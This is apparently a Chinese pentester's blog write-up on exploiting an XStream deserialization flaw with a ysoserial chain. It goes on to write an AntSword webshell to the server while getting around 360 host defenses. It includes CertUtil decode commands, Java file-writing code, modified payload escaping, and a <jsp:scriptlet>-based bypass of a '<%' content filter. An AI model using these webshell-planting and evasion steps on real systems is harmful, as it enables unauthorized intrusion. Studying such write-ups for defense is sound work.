0%

一次对反序列化漏洞的利用和主机防御绕过

一次对反序列化漏洞的利用和主机防御绕过

无图…

在测试中发现一处 XStream 反序列化漏洞,使用 ysoserialCommonsBeanutils1 的方式能成功远程代码执行,尝试使用系统命令写入 txt 文件成功:尝试写入 jsp 文件也成功,内容是 test。瞬间感觉稳了。

立马准备写入蚁剑马,但是由于马有点长,又有特殊符号,直接用 cmd.exe /c echo xx > 1.jsp 的方式肯定不科学,所以用 CertUtil 马命令解码的方式写入文件:

1
echo dGVzdA== >web/a.txt & CertUtil -decode web/a.txt web/b.jsp

结果是 txt 文件存在, jsp 文件 404,这时觉得是马的问题,可能服务器上有啥防护,因为不能出网,所以也只能写文件了。之后用同样的 CertUtil 这种方式换了好几个免杀马都是404,这就很奇怪,难道现在的防护都怎么牛逼的吗?顿时觉得不太可能,也有可能是 CertUtil 这个命令的问题。

于是把内容换成正常的,在解码成后缀是 txt 的,结果还是没有解码后的文件,这里可以确认是命令被拦截了。

既然不能用 CertUtil 所以想着直接用代码写文件算了,因为是任意代码执行,所以用代码写文件应该是没问题的:

1
2
3
4
5
6
String encodedText = "PCUKb3V0LnByaW50KCJ0ZXN0Iik7CiU+";
java.util.Base64.Decoder decoder = java.util.Base64.getDecoder();
String code_1 = new String(decoder.decode(encodedText), "UTF-8");
java.io.PrintWriter pu=new java.io.PrintWriter(new java.io.FileOutputStream("../1.jsp"));
pu.write(code_1);
pu.close();

不过本地测试成功,线上一直没成功,也不清楚是啥原因,这条思路又断了。

只能回到之前的 cmd.exe /c echo xx > 1.jsp 这种成功的方式了,打算直接写入马,因为是直接使用 ysoserialCommonsBeanutils1,所以在命令中加入双引号是个问题:

1
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");";

省的麻烦,直接改造一下

1
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command + "\");";

直接用 cmd.exe /c echo \"123\" ../1.jsp 即可写入;

接下来写马,因为之前内容为 test 的 jsp 文件写入成功了,但是马写入失败,所以先写入一个测试的 jsp,内容为 <% out.print("test"); %> ,失败。

写入测试的 txt,内容为 <% out.print("test"); %>,成功;
把写入的 txt 文件用 move 命令改成 jsp 后缀,失败;
写入测试的 jsp,内容为 <% %>,失败;
写入测试的 jsp,内容为 <123,成功;

所以最后得出的结论是拦截内容中有 <% 的后缀为 jsp 文件。这个可以用 <jsp:scriptlet> 替代。

最终使用 <jsp:scriptlet> 加上部分 unicode 编码绕过,成功传马,看了下进程,发现防御软件是数字全家桶:

1
2
3
4
5
6
7
8
9
10
11
12
13
映像名称                       PID 会话名              会话#       内存使用 
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 24 K
System 4 Services 0 372 K
ZhuDongFangYu.exe 528 Services 0 43,836 K
360rp.exe 5552 1 1,115,180 K
QQProtect.exe 5024 Services 0 22,220 K
QQExternal.exe 8944 1 20,244 K
wdswfsafe.exe 7056 1 19,132 K
360bdoctor.exe 23072 1 16,264 K
360tray.exe 26164 1 416,292 K
360se.exe 36916 1 38,628 K
360PatchMgr.exe 16528 Services 0 9,728 K